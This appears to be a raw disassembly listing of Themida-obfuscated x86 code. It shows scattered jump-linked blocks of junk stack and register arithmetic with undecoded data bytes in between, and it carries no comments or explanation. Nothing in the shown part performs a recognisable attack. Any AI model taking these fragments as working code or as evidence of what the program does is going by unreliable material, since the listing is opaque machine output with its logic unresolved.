loc_56E604:				; CODE XREF: Themida_:00562890j
		push	1A96h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 291A13D1h
		mov	ebx, 0D6E5ED2Dh
		add	ebx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56FD44
; ---------------------------------------------------------------------------
		dd 0E95BDA01h, 0FFFF5239h
; ---------------------------------------------------------------------------


loc_56E658:				; CODE XREF: Themida_:005707C9j
		xor	ebp, ecx
		pop	ecx
		and	esi, ebp
		pop	ebp
		xor	esi, 0E04A9039h
		xor	ecx, esi
		pop	esi
		xor	esi, ecx
		pop	ecx
		jmp	loc_55FD28
; ---------------------------------------------------------------------------
		db 83h
		dd 3C3304C7h, 65AFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E67A:				; CODE XREF: Themida_:0056BD0Aj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56CB6F
; ---------------------------------------------------------------------------
		db 81h
		dd 0B7033EEEh, 5EF1218Ah, 0FF9FD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E691:				; CODE XREF: Themida_:005686C7j
		sub	esp, 4
		jmp	loc_565656
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 8024248Bh, 0B1519CEBh, 77C9804Ch, 20F180h, 240C8BC8h
		dd 0E904C483h, 0FFFFBB61h, 0FDE8E95Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E6BE:				; CODE XREF: Themida_:0055F3FAj
		push	esp
		jmp	loc_565C2A
; ---------------------------------------------------------------------------
		dd 0C5815D54h, 4, 2F8068h, 24348900h, 4D002EBEh, 8E6C133h
		dd 18E9D6F7h, 0F7FFFEFAh, 0F6A6E9F9h, 0B951FFFEh, 2EC85FBEh
		dd 0E959CA29h, 0FFFEF811h, 0C581E589h, 4, 8704C583h, 525C242Ch
		dd 2EC81h, 89660000h, 0B5512404h, 8DF580CCh, 80F3E580h
		dd 885070EDh, 88EF88F8h, 0A1E958C5h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E72B:				; CODE XREF: Themida_:00561A6Bj
		push	eax
		pop	edx
		pop	eax
		jmp	loc_569CC3
; ---------------------------------------------------------------------------


loc_56E733:				; CODE XREF: Themida_:005621B4j
		and	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 6E241548h
		dec	edx
		add	edx, 91BBEABBh
		jmp	loc_56A285
; ---------------------------------------------------------------------------
		dd 3E27E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E74E:				; CODE XREF: Themida_:00560046j
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_566648
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 27BE9AADh, 67E9DE21h, 81FFFF7Bh, 42404h, 34FF0000h
		dd 0A19DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E776:				; CODE XREF: Themida_:0055FBCCj
		xor	ecx, 349C203Ah
		add	esi, ecx
		pop	ecx
		add	esi, 444A0B32h
		jmp	loc_563D62
; ---------------------------------------------------------------------------
		dw 5255h
		dd 0A42761BAh, 5AD58935h, 2C8BEE31h, 0C7E95724h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E79F:				; CODE XREF: Themida_:0056CDF5j
		mov	esi, 70AC79DFh
		xor	esi, ebx
		pop	ebx
		neg	esi
		shr	esi, 4
		jmp	loc_56E4BD
; ---------------------------------------------------------------------------


loc_56E7B1:				; CODE XREF: Themida_:00570119j
		mov	ecx, 37DF159Bh
		xor	[esp+4], ecx
		jmp	loc_56CE5B
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 0FFD5E9E9h,	240C8BFFh, 4C481h, 0C2810000h
		dd 4, 21EA68h, 24148900h, 42474FFh, 8124148Bh, 4C4h, 24048F00h
		dd 0FF24248Bh, 1DE92434h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E7FF:				; CODE XREF: Themida_:0056A8E9j
		add	edx, 43370D3Fh
		pop	ecx
		jmp	loc_56E4D9
; ---------------------------------------------------------------------------
		db 31h
		dd 0E18951CBh, 4C181h, 0E9830000h, 2462E904h, 0C4810000h
		dd 4, 1C8BD988h, 4C48124h, 0B0000000h, 0F80497h, 59F82CC8h
		dd 58C500h, 0A5ED80F5h,	0FF158AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E845:				; CODE XREF: Themida_:0056CCF9j
		sub	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56BD65
; ---------------------------------------------------------------------------
		dd 0A9E9DA88h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56E863:				; CODE XREF: Themida_:00566E9Bj
		xchg	ah, cl
		not	ah
		xchg	ah, cl
		add	cl, 40h
		jmp	loc_562124
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF1495E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E879:				; CODE XREF: Themida_:00566789j
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55F66B
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFFB6BFh
; ---------------------------------------------------------------------------


loc_56E894:				; CODE XREF: Themida_:0056241Bj
		mov	[esp], eax
		jmp	loc_56C53E
; ---------------------------------------------------------------------------
		dd 1E98E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E8A2:				; CODE XREF: Themida_:0056AD84j
		pop	ebp
		jmp	loc_567C01
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFEE7BCh
; ---------------------------------------------------------------------------


loc_56E8B0:				; CODE XREF: Themida_:0056DA31j
		add	edi, 50BE43F2h
		pop	esi
		xor	ecx, edi
		jmp	loc_569BC0
; ---------------------------------------------------------------------------
		dw 64C3h
		dd 5E932FFh, 5BFFFEDCh,	0FF201BE9h, 2434FFFFh, 0FF2434FFh
		dd 48B2434h, 4C48124h, 81000000h, 4ECh,	240C8900h, 0C181E189h
		dd 4, 5632B850h, 0D205487Fh, 1B780A9h, 0E95158C1h, 0FFFF1763h
		dd 97E9DCB2h, 89FFFEF1h, 4BE56E3h, 1000000h, 0B9515EF3h
		dd 2F801D8h, 1DCF181h, 0CB0102F8h, 241C8759h, 3324248Bh
		dd 4312404h, 24043324h,	5024248Bh, 0E51B0BB8h, 24448135h
		dd 6154C04h, 7BD2685Dh,	0A1E90000h, 0B0FFFFDDh,	342D2CFCh
		dd 58C2301Ch, 8005EAC0h, 0D028E6EAh, 5724148Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 148B5C24h, 492E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E97E:				; CODE XREF: Themida_:0056E32Ej
		mov	esi, 2F991DD0h
		jmp	loc_55ED35
; ---------------------------------------------------------------------------
		dd 8159CA01h, 4C2h, 24143300h, 33241431h, 835C2414h, 6EE904C4h
		dd 88FFFF72h, 50E95AD5h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E9AB:				; CODE XREF: Themida_:00563F5Aj
		push	ecx
		jmp	loc_5681CA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C2414D3h, 0FEDB0BE9h, 24248BFFh,	0FFA2A4E9h
		dd 4C481FFh, 0E9000000h, 0FFFFDE6Bh, 0B240481h,	0E935E51Bh
		dd 0FFFEDAECh
; ---------------------------------------------------------------------------


loc_56E9E0:				; CODE XREF: Themida_:00563677j
		shl	ecx, 7
		shr	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		jmp	loc_561210
; ---------------------------------------------------------------------------
		dd 4C4835Eh, 8A7DA905h,	1A17053Fh, 22055AABh, 0E93C3001h
		dd 0FFFEEC8Ah, 5704C483h, 0C781E789h, 4, 0FFD9E8E9h, 0E6E781FFh
		dd 0E9333979h, 0FFFF598Dh, 0E9243C87h, 0FFFF105Eh, 0F0E9CE31h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA37:				; CODE XREF: Themida_:0055D70Aj
		mov	eax, 595A14A6h
		mov	esi, 0B358586Ch
		sub	esi, eax
		pop	eax
		jmp	loc_55ED1B
; ---------------------------------------------------------------------------


loc_56EA49:				; CODE XREF: Themida_:00560703j
		pop	ebx
		add	[esp+4], ebx
		jmp	loc_56D5BE
; ---------------------------------------------------------------------------
		db 59h
		dd 22BFBA52h, 0EB81023Ah, 28151BACh, 0C381D329h, 28151BACh
		dd 81C3015Ah, 3A22BFC3h, 84F0E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA76:				; CODE XREF: Themida_:00565E7Bj
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_56CCC3
; ---------------------------------------------------------------------------


loc_56EA81:				; CODE XREF: Themida_:005657FDj
		add	esp, 2
		xor	ch, dl
		jmp	loc_567F85
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 49025EF3h, 3749F381h, 0EB817A31h, 585970B8h,	0FF60AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EAA5:				; CODE XREF: Themida_:0056EC2Ej
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	1139h
		mov	[esp], ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_560E34
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4EC81h, 0C890000h, 0E1ADE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EADE:				; CODE XREF: Themida_:0056CA3Aj
		push	esi
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, 536A1977h
		or	ebp, 2FEE1774h
		shl	ebp, 2
		shr	ebp, 2
		sub	ebp, 0FFFFFFFFh
		not	ebp
		jmp	loc_56A158
; ---------------------------------------------------------------------------
aGS		db ',┐,≤',0
		dw 4D8h
		dd 68830498h, 6F79h, 89243489h,	4C681E6h, 81000000h, 4EEh
		dd 24348700h, 9018E95Ch, 0F901FFFFh, 367CC181h,	575F6A27h
		dd 0AE2E9h, 4EC8100h, 89000000h, 43BB241Ch, 8115392Fh
		dd 0E9550AF3h, 0E955574Ch, 0FFFFD352h
; ---------------------------------------------------------------------------


loc_56EB54:				; CODE XREF: Themida_:00570828j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564000
; ---------------------------------------------------------------------------


loc_56EB67:				; CODE XREF: Themida_:005669D6j
		not	eax
		dec	eax
		xor	eax, 436526A7h
		jmp	loc_5640D5
; ---------------------------------------------------------------------------


loc_56EB74:				; CODE XREF: Themida_:0056BCE2j
		pop	edx
		add	dword ptr [ecx], 1
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_56126E
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFF2F1h, 0EA815B5Dh, 2BD178B3h, 0C281C201h, 2BD178B3h
		dd 4C28358h, 0FF1E57E9h, 0C8B70FFFh, 9BFE9h, 0FFFCB900h
		dd 0CA2901FFh, 37BF5759h, 550BB278h, 0BDh, 89FD2900h, 0B8505DEFh
		dd 3E772E9Fh, 0C158C731h, 0C14F02EFh, 0EF8102EFh, 0F0C1399Ch
		dd 0FF4038E9h, 4C481FFh, 87000000h, 8F5C2434h, 6CE92404h
		dd 31FFFF39h, 1C33241Ch, 9043E924h, 0BD55FFFFh,	1A9B3D7Bh
		dd 0D0E9DDF7h, 52FFFF06h, 3C04ABB6h, 3C2CF000h,	66302C5Ah
		dd 28A3B353h, 285B66D8h, 0E9A304C8h, 0FFFF25AFh
; ---------------------------------------------------------------------------


loc_56EC28:				; CODE XREF: Themida_:00564BB9j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56EAA5
; ---------------------------------------------------------------------------
		db 87h
		dd 0E9D6F7F2h, 0FFFFD3C0h, 4E8C68h, 24248900h, 4240481h
		dd 58000000h, 2BE95053h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC53:				; CODE XREF: Themida_:00570D24j
		push	1CCFh
		jmp	loc_55FA7A
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 5524248Bh, 4EC81h, 0C890000h, 0A1CB924h, 0C1812A62h
		dd 69A7044Bh, 2736C981h, 0C14905A0h, 0E98105E1h, 747D9FD0h
		dd 57B112BDh, 0E9CD01BFh, 0FFFFCBE8h, 4C2814B1h, 29E90424h
		dd 0B0FFFF6Dh, 69CBE9DCh, 0E589FFFFh, 5857BA52h, 0E2C15167h
		dd 0B38DE903h, 0E959FFFFh, 0FFFFB136h, 5591C281h, 0EA816E47h
		dd 0DA7B9EA0h, 0FF9D6DE9h, 0E9F909FFh, 0FFFF8B69h, 0E257FBBBh
		dd 61EB814Ch, 1D9EA13h,	241C8BDAh, 5104C483h, 415158B9h
		dd 71E98147h, 29F345FBh, 0EC8159CAh, 4,	0FFC09BE9h, 66E82DFFh
		dd 3C8B1B60h, 0BB7BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED0E:				; CODE XREF: Themida_:0056716Dj
		mov	[esp], edi
		add	dword ptr [esp], 1E906FDBh
		pop	dword ptr [edx+30h]
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		jmp	loc_56EE00
; ---------------------------------------------------------------------------
		dw 0ECBFh
		dd 0E9833EF7h, 0FFFFC5A2h, 222EE781h, 0E9511FA2h, 0FFFF1B15h
; ---------------------------------------------------------------------------


loc_56ED40:				; CODE XREF: Themida_:0055FCE9j
		add	esp, 4
		sub	eax, 782E57EEh
		add	eax, edi
		add	eax, 782E57EEh
		pop	edi
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 7C077845h
		or	esi, 4BBD49D5h
		xor	esi, 27FA0D51h
		jmp	loc_571051
; ---------------------------------------------------------------------------
		dw 5350h
		dd 8076B652h, 0F788AEC6h, 8124148Bh, 4C4h, 5BF88800h, 4D66E951h
		dd 0D301FFFFh, 2423C381h, 0BD550DBEh, 655B2293h, 0F53FE953h
		dd 0C33FFFFh, 24248B24h, 0FF8C2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EDA5:				; CODE XREF: Themida_:0056F500j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_564D9F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 0D7EEE924h, 815AFFFEh, 4C2h,	6BE5600h, 81626363h, 79314FE6h
		dd 0FD63E936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EDD6:				; CODE XREF: Themida_:00563BE6j
		push	ebx
		jmp	loc_568683
; ---------------------------------------------------------------------------
		dd 4B8h, 0EEBB5300h, 8116F703h,	40057EAh, 94EA815Fh, 1229704h
		dd 94C281DAh, 0E9229704h, 0FFFF9BEBh
; ---------------------------------------------------------------------------


loc_56EE00:				; CODE XREF: Themida_:0056ED25j
		push	58193936h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5656DB
; ---------------------------------------------------------------------------
		dd 4C481h, 68660000h, 11E9013Dh, 66FFFFC1h, 9C240429h
		dd 0FED6A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EE29:				; CODE XREF: Themida_:0056D683j
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	edx, 7C635B3Dh
		pop	eax
		not	edx
		push	ecx
		mov	ecx, 7766504h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, 237049F3h
		xor	edx, 0DBB36CD9h
		mov	ebp, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_569800
; ---------------------------------------------------------------------------


loc_56EE64:				; CODE XREF: Themida_:0056494Bj
		push	ebp
		push	48D6337h
		jmp	loc_5687C8
; ---------------------------------------------------------------------------


loc_56EE6F:				; CODE XREF: Themida_:0056D4A4j
		pop	edx
		push	edi
		jmp	loc_566ABA
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0CEFECEFEh, 6607EEC0h, 80EBB551h, 0EE006DEEh, 666DC680h
		dd 264AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE92:				; CODE XREF: Themida_:0056A74Bj
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		jmp	loc_562420
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FAh
		dd 0E93CC338h, 0FFFF07F8h, 4EC81h, 14890000h, 0D5BF5724h
		dd 893A625Fh, 54295FFAh, 815A0824h, 4246Ch, 50003469h
		dd 616E79B8h, 24440176h, 0C5E95808h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EED7:				; CODE XREF: Themida_:0056401Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_55EBC5
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFF782Eh, 0CB021ABAh, 0DAF74242h, 0FFEB98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EEFD:				; CODE XREF: Themida_:0056F92Aj
		or	ecx, 0F8171ABh
		and	ecx, 55D25266h
		add	ecx, 3EBF03CEh
		xor	ecx, 31A67156h
		jmp	loc_56D9AA
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95E0424h, 0FFFF989Ch, 60E9E901h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF2B:				; CODE XREF: Themida_:0055D2BBj
		add	ebx, ebp
		jmp	loc_56D586
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0F67EC380h, 6EBC0DBh, 96C68h, 24048900h, 0FF2CE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EF49:				; CODE XREF: Themida_:00566020j
		mov	ebx, esi
		pop	esi
		xor	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5656BC
; ---------------------------------------------------------------------------


loc_56EF57:				; CODE XREF: Themida_:00564749j
		xor	[esp], esi
		jmp	loc_561AEF
; ---------------------------------------------------------------------------


loc_56EF5F:				; CODE XREF: Themida_:0056ACB1j
		xchg	ebp, [esp]
		jmp	loc_5677A4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFED560h, 2444815Eh, 34690004h, 0D3D2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF7A:				; CODE XREF: Themida_:0056D17Ej
		push	ebp
		mov	ebp, 4
		jmp	loc_56C2A4
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0E9810000h, 79CE315Bh, 995C181h, 54E977EDh, 81FFFFE2h
		dd 4C3h, 0B7CCE900h, 3158FFFFh,	0BF6858C3h, 0E9000009h
		dd 0FFFFAEB2h, 5BB5F781h, 0BE5643BFh, 8675FD7h,	0C14ED6F7h
		dd 0EEC104EEh, 7E6C102h, 0F500EE81h, 0F129C51Ah, 5556535Eh
		dd 0C52465BDh, 4E5C12Eh, 6CB9CD81h, 0CD815E47h,	7B9B5177h
		dd 0FF080AE9h, 1EA83FFh, 2450EA81h, 9E9149Ah, 81FFFF42h
		dd 2C5h, 4EC8100h, 89000000h, 74FF242Ch, 8F5D0424h, 248B2404h
		dd 0E7895724h, 0FF12CDE9h, 4C481FFh, 81000000h,	0A37157CAh
		dd 3DDDE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F032:				; CODE XREF: Themida_:00569C5Fj
		push	edi
		jmp	loc_566152
; ---------------------------------------------------------------------------
		dd 49E9E689h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F03F:				; CODE XREF: Themida_:00561351j
		mov	eax, [esp]
		add	esp, 4
		or	edx, ecx
		pop	ecx
		xor	edx, 2633E732h
		push	edi
		mov	edi, 4A0D34D8h
		jmp	loc_56CE03
; ---------------------------------------------------------------------------


loc_56F059:				; CODE XREF: Themida_:005615E1j
		mov	esi, 66AE17D4h
		mov	ebx, esi
		pop	esi
		jmp	loc_565799
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FED457E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F075:				; CODE XREF: Themida_:0055C8A1j
		sub	edx, ecx
		pop	ecx
		sub	eax, 653B3D10h
		sub	eax, edx
		add	eax, 653B3D10h
		pop	edx
		pop	edi
		push	5851h
		mov	[esp], esi
		mov	esi, 35FF319Ah
		jmp	loc_56B101
; ---------------------------------------------------------------------------
		dd 0FB6C381h, 0BA520163h, 0
		dd 250DEA81h, 0DA010A3Fh, 250DC281h, 2030A3Fh, 5A2434FFh
		dd 0FEF730E9h, 0BB5355FFh, 483024ACh, 0E95BDD89h, 0FFFFDCC2h
		dd 9D1C77FFh, 14D35966h, 0F1E99C24h, 5AFFFED3h,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 3CE92414h, 89FFFF05h, 4832424h
		dd 0B3E90424h, 68FFFF6Dh, 2FBBh, 0BE243489h, 4,	4244481h
		dd 67273780h, 4247401h,	4246C81h, 67273780h, 0E924348Bh
		dd 0FFFFD40Bh
; ---------------------------------------------------------------------------


loc_56F128:				; CODE XREF: Themida_:00567B17j
		pop	ecx
		push	esi
		mov	esi, eax
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	eax
		inc	ebp
		jmp	loc_56C13F
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB5F7DEAh, 0E57FE94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F14A:				; CODE XREF: Themida_:00570AF4j
		mov	ebx, ecx
		jmp	loc_5707A6
; ---------------------------------------------------------------------------
		db 0B8h, 0C4h, 2Eh
		dd 0C62175CDh, 9E18E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F15E:				; CODE XREF: Themida_:005609E4j
		mov	ecx, 4
		add	ebp, 285028DEh
		add	ebp, ecx
		sub	ebp, 285028DEh
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56D688
; ---------------------------------------------------------------------------


loc_56F181:				; CODE XREF: Themida_:00560D07j
		add	edi, 29A1322h
		mov	edx, edi
		pop	edi
		add	esi, edx
		pop	edx
		jmp	loc_55E3B2
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 9C53E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F19A:				; CODE XREF: Themida_:0055C529j
		push	1E9Eh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	48BC5F53h
		pop	ebx
		not	ebx
		add	ebx, 0C462B070h
		jmp	loc_561082
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 26824h, 0E9590000h, 0FFFF6343h, 0C8BC800h, 4C48124h
		dd 0E9000000h, 0FFFFCFC7h, 54241489h, 94E9515Ah, 66FFFF0Ah
		dd 50240C8Bh, 0FFFA4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F1F1:				; CODE XREF: Themida_:0056DF06j
		pop	edx
		jmp	loc_566683
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 5AD30100h, 3304C383h, 0E0E9241Ch, 5EFFFFACh, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 0FF2C7CE9h, 0E18951FFh, 4C181h
		dd 0E9830000h, 240C8704h, 240C895Ch, 4EC81h, 14890000h
		dd 0E9E28924h, 0FFFF8E2Ah, 28B6664h, 4EC81h, 4890000h
		dd 39F6824h, 24890000h,	24048324h, 1D7EE904h, 34FF0000h
		dd 24148B24h, 5E08950h,	4, 405h, 24048700h, 5C1B685Ch
		dd 1C890000h, 3D996824h, 8F540000h, 89512404h, 4C181E1h
		dd 83000000h, 0C8704E9h, 0A7BE924h, 52560000h, 0D689CA89h
		dd 8BF7895Ah, 0B3E92434h, 0D0FFFF08h, 80C1FEE9h, 7AE95BF1h
		dd 5CFFFF41h, 0BB241C89h, 1AA04757h, 0E908EBC1h, 0FFFF8948h
		dd 0DBE9CFFEh
		db 0EDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F2D3:				; CODE XREF: Themida_:0056B253j
		xchg	edi, [esp]
		pop	esp
		push	404Ah
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		jmp	loc_56E450
; ---------------------------------------------------------------------------
		dd 59CB015Ch, 1E33EB81h, 32E932ADh, 8BFFFF9Ch, 8B662424h
		dd 0EC83240Ch, 241C8904h, 0FF2008E9h, 450B6FFh,	2CF000C1h
		dd 285A66C1h, 0E9502CE8h, 0FFFF7394h, 8E9EB01h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F323:				; CODE XREF: Themida_:0056B684j
		mov	[esp], edx
		jmp	loc_563CDF
; ---------------------------------------------------------------------------
		db 81h
		dd 0D65E0CC6h, 0B7F1E930h, 1487FFFFh, 3C895C24h, 39BB5324h
		dd 4B1B7C2Dh, 64A2CB81h, 0EBC136B1h, 6EBC102h, 0FD69F381h
		dd 0DF89003Fh, 0FF6D8FE9h, 4C481FFh, 68000000h,	13B6h
		dd 0B8240489h, 7BDF7C8Ch, 0AD46590Dh, 0A834E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F37A:				; CODE XREF: Themida_:0056A1D4j
		push	eax
		mov	eax, 491B5148h
		jmp	loc_56D296
; ---------------------------------------------------------------------------


loc_56F385:				; CODE XREF: Themida_:0056D2E0j
		push	eax
		mov	eax, 1E3D7B27h
		not	eax
		sub	eax, 1
		jmp	loc_56C5DF
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 242C8900h, 0C5815D54h, 4, 8904EC83h
		dd 2BF243Ch, 0E9570451h, 0FFFF48EFh, 0E9241489h, 0FFFFFB2Ch
; ---------------------------------------------------------------------------


loc_56F3C4:				; CODE XREF: Themida_:0056F764j
		neg	eax
		add	eax, 3449101Ah
		add	edx, eax
		jmp	loc_56657E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0F6D2BA52h, 0D131755Ch, 0E924148Bh, 0FFFF4C3Ah, 5C241C87h
		dd 31241C33h, 1C33241Ch, 24248B24h, 9CC83B66h, 0FF4D8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F401:				; CODE XREF: Themida_:0056B52Dj
		sub	edi, 31CB7C34h
		sub	edi, esi
		jmp	loc_56DA2B
; ---------------------------------------------------------------------------
		dw 0F9B9h
		dd 0E932F831h, 0FFFFAB13h, 8124148Bh, 4C4h, 73BCE900h
		dd 1C31FFFFh, 241C3324h, 0FFE5EEE9h, 0EF815AFFh, 71155A12h
		dd 0EF81DFF7h, 0D16CEF51h, 0FF20B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F445:				; CODE XREF: Themida_:005669C3j
		sub	ebx, 63903E2Ah
		add	ebx, esi
		add	ebx, 63903E2Ah
		sub	ebx, 3907097h
		jmp	loc_565D7F
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 5611362Dh, 24148B01h, 0F49DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F46E:				; CODE XREF: Themida_:0056C1D7j
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	50Ch
		mov	[esp], ebp
		pop	eax
		pop	ebp
		jmp	loc_560CB3
; ---------------------------------------------------------------------------
		dd 815EF229h, 0DA2F15EAh, 0DDBCE90Bh, 0E957FFFEh, 0FFFF8684h
		dd 64B1E981h, 815F3CB6h, 6B0EADE1h, 7E1C100h, 0FF4E1CE9h
		dd 24248BFFh, 5468C80Fh, 89000069h, 0DE92404h, 0B9FFFED0h
		dd 24064A76h, 0FF7DD9E9h, 4C483FFh, 0FFF2EEE9h,	66F030FFh
		dd 8324148Bh, 526602C4h, 0CCE930B6h, 1FFFED6h, 0BEEE81DEh
		dd 0FF571124h, 0C2E92434h, 51FFFFE4h, 0FEED9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F4F9:				; CODE XREF: Themida_:0055D50Cj
		mov	eax, esp
		add	eax, 4
		jmp	loc_56EDA5
; ---------------------------------------------------------------------------
		db 0BAh, 0DFh, 1Fh
		dd 0D3295DD1h, 48E9565Ah, 59FFFF0Bh, 1CE9EF88h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F51B:				; CODE XREF: Themida_:0056F54Cj
		not	eax
		jmp	loc_567336
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0D1EFE924h, 3C89FFFEh, 0C6B3BF24h, 0BB5370DFh, 5FC10940h
		dd 2D5BD801h, 265E2303h, 0F6E9F801h
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F547:				; CODE XREF: Themida_:0055EA9Aj
		sub	eax, 52321100h
		jmp	loc_56F51B
; ---------------------------------------------------------------------------


loc_56F551:				; CODE XREF: Themida_:0055EE76j
		sub	eax, 0E7F1026h
		jmp	loc_564B1B
; ---------------------------------------------------------------------------
		db 57h
